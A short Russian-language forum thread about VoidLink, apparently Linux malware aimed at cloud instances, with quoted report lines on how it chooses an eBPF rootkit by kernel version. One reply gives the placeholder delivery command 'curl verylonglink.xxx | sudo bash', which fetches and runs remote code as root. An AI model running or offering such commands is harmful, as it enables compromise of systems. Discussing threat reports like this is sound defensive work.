VoidLink — вредонос, нацеленный на облачные инстансы Linux

[Bifid]

А как происходит заражение ? Как вредонос попадает на хост ?

[j_larkin]

Отчёт сосредоточен на post-exploitation, однако механизм первоначальной доставки бинарного файла не раскрыт. Упоминается только наличие многоступенчатой цепочки заражения.

[vm03]

Сейчас так модно:

curl verylonglink.xxx | sudo bash

[kmeaw]

А как именно используется eBPF?

[j_larkin]

Согласно отчету, в VoidLink eBPF применяется как один из трёх вариантов руткит-технологий на уровне ядра для обеспечения максимальной скрытности. Это не основной, а условный механизм, который выбирается автоматически в зависимости от версии ядра и возможностей системы.

Условия выбора и развертывания eBPF (прямая цитата из отчёта):

«eBPF: For a Kernel version ≥ 5.5 with eBPF support»

«It couples them with eBPF programs that can hook sensitive paths without requiring a traditional LKM on newer, locked-down systems.»

«VoidLink handles rootkit deployment once again, based on the environment in which it runs, and chooses the right rootkit to deploy accordingly.»